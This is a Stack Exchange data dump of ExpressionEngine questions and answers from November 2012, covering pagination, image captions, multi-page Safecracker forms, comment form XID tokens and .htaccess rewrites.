  <row Id="606" PostTypeId="2" ParentId="602" CreationDate="2012-11-28T04:11:02.197" Score="2" Body="&lt;p&gt;With Stash, inside you pagination tag pair you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;    {exp:stash:set name=&quot;page_number&quot;}&#xA;        Page {current_page}&#xA;    {/exp:stash:set}&#xA;    {!-- any other pagination stuff here --}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would give you &quot;Page X&quot; accessible as &lt;code&gt;{exp:stash:get name=&quot;page_number&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another potential is to use &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo' Variables&lt;/a&gt;, which provides a Pagination Detect Conditional and Page Offset as &lt;code&gt;{if paginated}&lt;/code&gt; and &lt;code&gt;{page_offset}&lt;/code&gt;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if paginated}This is a paginated view{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I just realized &lt;code&gt;{page_offset}&lt;/code&gt; isn't going to be quite what you wanted. It will give you some multiple of whatever you have in your &lt;code&gt;limit&lt;/code&gt; parameter so will not directly give you &quot;Page 1&quot; &quot;Page 2&quot; etc.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-11-28T11:03:07.043" LastActivityDate="2012-11-28T11:03:07.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="607" PostTypeId="2" ParentId="605" CreationDate="2012-11-28T04:39:52.290" Score="6" Body="&lt;p&gt;If a member is a channel entry (or tied to a channel entry) and you are open to using an add-on other than Assets, then &lt;a href=&quot;http://www.devdemon.com/channel_images/&quot;&gt;Channel Images&lt;/a&gt; would be a good route. It automatically creates a separate upload subdirectory per entry. &lt;em&gt;But&lt;/em&gt; it uses &lt;code&gt;entry_id&lt;/code&gt; for the name of the subdirectory, so wouldn't quite be the setup you wanted for the subdirectory name.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-11-28T05:21:18.130" LastActivityDate="2012-11-28T05:21:18.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="608" PostTypeId="2" ParentId="603" CreationDate="2012-11-28T04:44:01.270" Score="2" Body="&lt;p&gt;This question impossible to answer without benchmark numbers to compare against some sort of community accepted standards for acceptable ranges (which don't exist.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, any list you come up with would be constantly changing and may miss the point of using Add-ons (or of using PHP in general, which is slow than C.) The point of these add-ons is largely the reduce development time. In some cases, you need the functionality now, and you can work on performance issues later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are things you can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To identify performance issues, turn on your debugging and query output. Generally it's easy to see that a certain add-on is creating a an unacceptable number of queries or queries which are resource intensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do find such an add-on, then you can minimize the performance impact by using one of the many caching options (assuming a front-end template and data which doesn't have to refresh with every page load.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contact the developer of the add-on to optimize the add-on or have another developer build a different add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One important point to keep in mind is that most add-ons serve very general purposes, and that may require more resource usage than an add-on which is much more targeted for your exact situation. Often I have used a resource intensive add-on to get the functionality ready for launch and then later built my own replacement to deal with the specific functionality of the site.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-11-28T04:44:01.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="609" PostTypeId="2" ParentId="594" CreationDate="2012-11-28T04:44:51.210" Score="5" Body="&lt;p&gt;Another option is having a faux subdomain mapped to a template group in the existing site via .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^blog.mysite.com [NC]&#xA;#whatever exclusions you need for index rewrite:&#xA;RewriteCond $1 !^(images|themes|assets|media\/|index\.php|([a-z0-9-]+).html) [NC] &#xA;RewriteRule ^(.*)$ /index.php/blog/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would need to go before the main site's index.php rewrite in the .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to &lt;em&gt;blog.mysite.com/category-1&lt;/em&gt; would really be accessing &lt;em&gt;www.mysite.com/blog/category-1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's likely not the most elegant solution, but I've seen it work well for a mobile site.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-11-28T04:44:51.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="610" PostTypeId="1" CreationDate="2012-11-28T05:07:11.413" Score="13" ViewCount="2194" Body="&lt;p&gt;Has anyone figured out a good way to insert captions alongside images in a client-friendly way? This is one thing WordPress makes very easy but EE doesn't seem to have an answer for. I'm currently using Redactor on the project, but would be open to switching to another editor if I could get this working. Ideally, I would want it to output markup like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;figure&amp;gt;&#xA;  &amp;lt;img src=&quot;...&quot; alt=&quot;...&quot; /&amp;gt;&#xA;  &amp;lt;figcaption&amp;gt;This is the caption&amp;lt;/figcaption&amp;gt;&#xA;&amp;lt;/figure&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only way I can think to do this is to upload the images and captions into a separate Matrix field and then insert some kind of code into the text that would later be replaced in the template with the image/caption. Workable, but kludgy at best.&lt;/p&gt;&#xA;" OwnerUserId="93" LastEditorUserId="16" LastEditDate="2012-11-28T07:55:37.197" LastActivityDate="2012-11-28T18:06:10.060" Title="How to insert captions with images in a WYSIWYG editor" Tags="|custom-fields|wysiwyg|redactor|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="611" PostTypeId="2" ParentId="563" CreationDate="2012-11-28T05:46:19.197" Score="18" Body="&lt;p&gt;If you want the directories to still get created, you need to have something in them, so I make sure there is an index.html file in each of the EE image directories that says &quot;Directory Access not allowed&quot; (or similar). Then, for each of the directories you can add rules like the following (your paths may vary):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/assets/images/captchas/*&#xA;!/assets/images/captchas/index.html&#xA;&#xA;/assets/images/member_photos/*&#xA;!/assets/images/member_photos/index.html&#xA;&#xA;# and so on...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will ignore all the items in those directories except the index.html, so when you clone the site, at least the directory structure will be preserved, but none of the images will come with.&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2012-11-28T05:46:19.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="612" PostTypeId="1" AcceptedAnswerId="624" CreationDate="2012-11-28T05:50:39.020" Score="5" ViewCount="161" Body="&lt;p&gt;I have a multiple page Safecracker form, as there are a number of large category groups that need to be chosen from.&#xA;On Page 2, I have a content type select.&#xA;On Page 3, I have a topic select.&#xA;And, on Page 4, I have a number of selects to reference syllabus documents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The select fields look like this, that is the categories shown are being filtered by group_id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; id=&quot;select_syll-ac&quot; multiple=&quot;multiple&quot; class=&quot;multiselect&quot;&amp;gt;&#xA;          {categories group_id=&quot;17&quot;}&#xA;                  &amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;          {/categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently, only the options selected on Page 4 are making it to the final entry.&#xA;I thought that previously the options selected on page 2 were also being retained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;preserve_checkboxes=“yes” does not fix the behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given Pages 2, 3 and 4 are all dealing with categories, do I have to add a hidden select of the category groups on Page 2 and 3 to Page 4?&lt;/p&gt;&#xA;" OwnerUserId="411" LastActivityDate="2012-11-28T08:54:31.167" Title="Safecracker entry form, specifying categories across multiple pages" Tags="|safecracker|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="613" PostTypeId="2" ParentId="610" CreationDate="2012-11-28T05:58:58.107" Score="4" Body="&lt;p&gt;The 'kludgy' technique you describe is exactly what we use on several major publishing websites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's good to abstract your content images from the actual Wysiwyg field - it gives you much finer grained control and the ability to present images in different formats (slideshow for example). Our content teams love it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you use an {image_1} token to place your images in the wysiwyg fields. I use &lt;a href=&quot;http://devot-ee.com/add-ons/mx-jumper&quot; rel=&quot;nofollow&quot;&gt;MX Jumper&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The approaches &lt;a href=&quot;http://iamjustinlong.com/blog/single/3_approaches_to_adding_photos_to_entries_in_expressionengine_2/&quot; rel=&quot;nofollow&quot;&gt;are summarised well here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-28T05:58:58.107" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="614" PostTypeId="2" ParentId="603" CreationDate="2012-11-28T06:38:35.530" Score="0" Body="&lt;p&gt;It more depends on HOW you use third-party add-ons, than on WHAT addons are used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your site expects heavy (or even medium) page load, always enable template debugging. Compare different options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have as few separate calls of same tag as possible (unless you're re-using results that was cached/stashed). Avoid too many embeds. Use &quot;disable&quot; parameter where applicable. Finally, use caching.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2012-11-28T06:38:35.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="615" PostTypeId="2" ParentId="610" CreationDate="2012-11-28T07:09:59.283" Score="3" Body="&lt;p&gt;I would use jQuery to apply the caption using something similar to the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(function($){&#xA;  $('#content img').each(function(index) {&#xA;    $this = $(this).wrap('&amp;lt;div class=&quot;img-caption&quot; /&amp;gt;');&#xA;    $('&amp;lt;p class=&quot;caption&quot;&amp;gt;' + $this.attr(&quot;alt&quot;) + '&amp;lt;/p&amp;gt;').insertAfter($this);&#xA;  });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way the client doesn't have to do anything other than fill in the alt field in the WYSIWYG editor.  If using Expresso you could ask the client to apply an extra class to images requiring captions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want an EE solution, I would use a Matrix field for the content - for example each row in the matrix field would represent a paragraph of content on the page with the ability to have an image and caption if required:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paragraph copy&#xA;Image&#xA;Caption&#xA;Image alignment (left, right, Center)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last 3 Matrix fields would be optional so if an image was unavailable a paragraph would be displayed as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of options for you ...&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2012-11-28T09:01:30.207" LastActivityDate="2012-11-28T09:01:30.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="616" PostTypeId="1" AcceptedAnswerId="628" CreationDate="2012-11-28T07:22:07.790" Score="6" ViewCount="415" Body="&lt;p&gt;As noted, the form submits but the data doesn't go into the db. Looking at the rendered HTML, I notice a missing XID. I think this is what is causing the problem - anyone know why this would happen?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;articles&quot; entry_id=&quot;{embed:entry_id}&quot;}&#xA;&#xA;    {if logged_out}&#xA;            &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;label for=&quot;comment&quot;&amp;gt;Comment:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;textarea name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;10&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;save_info&quot; value=&quot;yes&quot; {save_info} /&amp;gt; Remember my personal information&amp;lt;/label&amp;gt;&#xA;    &amp;lt;br /&amp;gt;&#xA;    {if captcha}&#xA;            &amp;lt;label for=&quot;captcha&quot;&amp;gt;Please enter the word you see in the image below:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;p class=&quot;captcha&quot;&amp;gt;{captcha}&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;{captcha_word}&quot; maxlength=&quot;20&quot; style=&quot;width: 200px; float: left;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;&#xA;{/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;comment_form&quot; method=&quot;post&quot; action=&quot;http://domain.com/newsroom_article/core-to-corporate&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;hiddenFields&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;29&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;http://domain.com/newsroom_article/core-to-corporate&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;URI&quot; value=&quot;newsroom_article/core-to-corporate&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;PRV&quot; value=&quot;&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;3327&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;&quot; size=&quot;50&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; size=&quot;50&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;        &amp;lt;label for=&quot;comment&quot;&amp;gt;Comment:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;10&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;save_info&quot; value=&quot;yes&quot;&amp;gt; Remember my personal information&amp;lt;/label&amp;gt;&#xA;        &amp;lt;!--                                                    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;notify_me&quot; value=&quot;yes&quot;  /&amp;gt; Notify me of follow-up comments?&amp;lt;/label&amp;gt; --&amp;gt;&#xA;        &amp;lt;br&amp;gt;&#xA;        &amp;lt;label for=&quot;captcha&quot;&amp;gt;Please enter the word you see in the image below:&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;        &amp;lt;p class=&quot;captcha&quot;&amp;gt;&amp;lt;img src=&quot;http://domain.com/images/captchas/1354086872.7556.jpg&quot; width=&quot;140&quot; height=&quot;30&quot; style=&quot;border:0;&quot; alt=&quot; &quot;&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; maxlength=&quot;20&quot; style=&quot;width: 200px; float: left;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;br&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="149" LastEditorUserId="16" LastEditDate="2012-11-28T08:43:23.493" LastActivityDate="2013-03-26T13:52:17.590" Title="Comment form missing XID - Form submits but data doesn't save" Tags="|module|comment-form|xid|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="617" PostTypeId="2" ParentId="616" CreationDate="2012-11-28T07:25:28.630" Score="5" Body="&lt;p&gt;If secure forms is set to no in security settings, EE's forms don't use XID. Whilst this doesn't solve the problem of the data not saving, it should explain why there is no XID...&lt;/p&gt;&#xA;" OwnerUserId="415" LastActivityDate="2012-11-28T07:25:28.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="619" PostTypeId="2" ParentId="602" CreationDate="2012-11-28T07:39:01.840" Score="3" Body="&lt;p&gt;I wrote a &lt;a href=&quot;https://github.com/tyssen/Page-Number.ee_addon&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; a while back to do this. It was the first one I wrote so apologies in advance if it's not up to scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example is included in the plugin usage, but basically, place &lt;code&gt;{exp:page_number url_segment=&quot;{segment_1}&quot; limit=&quot;5&quot;}&lt;/code&gt; somewhere in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parameters:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;url_segment:&lt;/strong&gt; the segment which contains your page number&lt;br&gt;&#xA;&lt;strong&gt;limit:&lt;/strong&gt; the same value you have in your channel entries tag which limits the number of entries shown per page &lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="116" LastEditDate="2012-11-28T10:53:53.750" LastActivityDate="2012-11-28T10:53:53.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="620" PostTypeId="2" ParentId="610" CreationDate="2012-11-28T07:43:22.103" Score="3" Body="&lt;p&gt;I've been meaning to try Entry Widgets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/iainurquhart/entry_widgets&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/iainurquhart/entry_widgets&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's currently in beta though, could be a great fit for what you are trying to accomplish assuming it's far enough along at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a tiny bit different from WP though, I think it gives you the dev and your clients more control at the end of the day for setting up the fields exactly how you want them and allowing your clients to place the widgets exactly where they want them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The argument could be that WP makes assumptions and ExpressionEngine does not in the case of figure and figcaption (I realize WP is making a decent assumption here for figure/figcaption though, just thought I'd mention it FWIW.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3nei6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-11-28T07:43:22.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="621" PostTypeId="2" ParentId="236" CreationDate="2012-11-28T08:16:07.677" Score="1" Body="&lt;p&gt;Republic Factory wrote a &lt;a href=&quot;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;great article on EE Insider&lt;/a&gt; about how they create multi-lingual sites - I've used this method and found it very easy to set-up. Also recommend Low Variables for handling translated content not stored in entries.&lt;/p&gt;&#xA;" OwnerUserId="227" LastActivityDate="2012-11-28T08:16:07.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="622" PostTypeId="1" CreationDate="2012-11-28T08:36:00.033" Score="6" ViewCount="235" Body="&lt;p&gt;Looking to be able to style/customize error pages for Expresso Store or EE.&#xA;Anyone have experience ideas of this please?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="418" LastEditorUserId="268" LastEditDate="2012-11-28T15:06:25.180" LastActivityDate="2014-07-03T15:13:01.103" Title="Error pages in expresso store?" Tags="|add-on|expresso-store|error-pages|system-messages|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="623" PostTypeId="2" ParentId="622" CreationDate="2012-11-28T08:40:01.460" Score="3" Body="&lt;p&gt;I'm not sure if Store has it's own error pages or not though, for EE itself take a look at Custom System Messages for styling all your error pages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/custom-system-messages&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-11-28T08:40:01.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="624" PostTypeId="2" ParentId="612" CreationDate="2012-11-28T08:54:31.167" Score="3" Body="&lt;p&gt;You probably need to output the already checked categories in order to preserve the selection. You can output those categories in hidden fields in each pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;{if '{selected}' != ''}&amp;lt;input type=&quot;hidden&quot; name=&quot;category[]&quot; value=&quot;{category_id}&quot; /&amp;gt;{/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;otherwise, on each submit containing the field category[], the categories will be reset to the new form values.&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2012-11-28T08:54:31.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="625" PostTypeId="2" ParentId="622" CreationDate="2012-11-28T09:30:02.397" Score="7" Body="&lt;p&gt;The easiest way to customize the error messages shown would be to set &lt;code&gt;error_handling=”inline”&lt;/code&gt; in your checkout template opening tag as mentioned in the docs &lt;a href=&quot;https://exp-resso.com/docs/store/tags/checkout.html#error-handling-inline&quot;&gt;here&lt;/a&gt;. Then you would be able to add &lt;code&gt;{error:field_name}&lt;/code&gt; anywhere you would like to show the errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if you want to customize the text that is shown you can do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if error:field_name}Whoa buddy! Your custom error message for this field_name goes here.{/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't fit your needs you would need to use something like Custom System Messages of LibrarEE or redoing the built in error templates to suit your needs.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-11-28T09:30:02.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="626" PostTypeId="2" ParentId="119" CreationDate="2012-11-28T09:33:30.030" Score="4" Body="&lt;p&gt;It's a bit rough and ready but I wrote a EE 2.x plug-in to crib content from a static site we have to convert to EE. It had tons of news entries and there wasa common pattern in the markup we were able to leverage to scrape the content and insert it as a channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to download/fork this and adjust to fit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ninefour/crib.pi.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ninefour/crib.pi.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that's of some help. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2012-11-28T09:33:30.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="627" PostTypeId="2" ParentId="238" CreationDate="2012-11-28T09:51:38.100" Score="5" Body="&lt;p&gt;We have built multiple sites where one 'area' is not managed by Structure. For example, we gave a member group access to one set of channels, which worked in a template group, inside which was a 'controller' template (powered by Switchee). This combination of entries and templates created 'microsites' for these users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the site, which was mainly editorial content, was managed by Structure. As there was a clear delineation of the content, I don't think we had any problems re: different ways of managing entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in practice: If you create a template group, and point a browser at it, as long as it doesn't match any Structure URL, it will be 'free' of Structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, check out &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot;&gt;Freebie&lt;/a&gt;, which lets you ignore Structure for URLs that you specify.&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2012-11-28T09:51:38.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="628" PostTypeId="2" ParentId="616" CreationDate="2012-11-28T09:59:21.107" Score="4" Body="&lt;p&gt;Generally if form submissions aren't working, your &lt;code&gt;.htaccess&lt;/code&gt; file is to blame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, if you are using &lt;strong&gt;NSM htaccess generator&lt;/strong&gt;, I've seen numerous problems with that, so avoid it. Also, if you are trying to force trailing slashes, &lt;strong&gt;stop now&lt;/strong&gt;. EE 2.x really likes no trailing slash, and fighting it gets you nowhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution is always to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;official htaccess&lt;/a&gt;, and nothing else:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-28T09:59:21.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="629" PostTypeId="2" ParentId="559" CreationDate="2012-11-28T10:05:29.010" Score="9" Body="&lt;p&gt;You should do this inside ExpressionEngine rather than trying to do it with messy htaccess rules - far more maintainable and guaranteed to work across servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;a href=&quot;http://devot-ee.com/add-ons/freeway&quot;&gt;Freeway&lt;/a&gt; which allows you to set up complex routes to map URLs to specific templates, and in your case it would also let you remove the first segment from specific URLs.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-28T10:05:29.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="630" PostTypeId="2" ParentId="482" CreationDate="2012-11-28T10:10:22.453" Score="4" Body="&lt;p&gt;This is a bad idea - explain to your client that it's against the principles of HTTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a customer opens different pages of your site in two tabs/windows. The close the second one, and go back to the first tab, but not it's logged out and any link/page submit is going to cause an error. That would piss me right off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, Andy's solution is only going to work if the customer has javascript enabled. This may or may not be an issue for you, but it's hardly secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you should look at options like a short login timeout (e.g. 10-15 minutes if it's really sensitive data).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-28T10:10:22.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
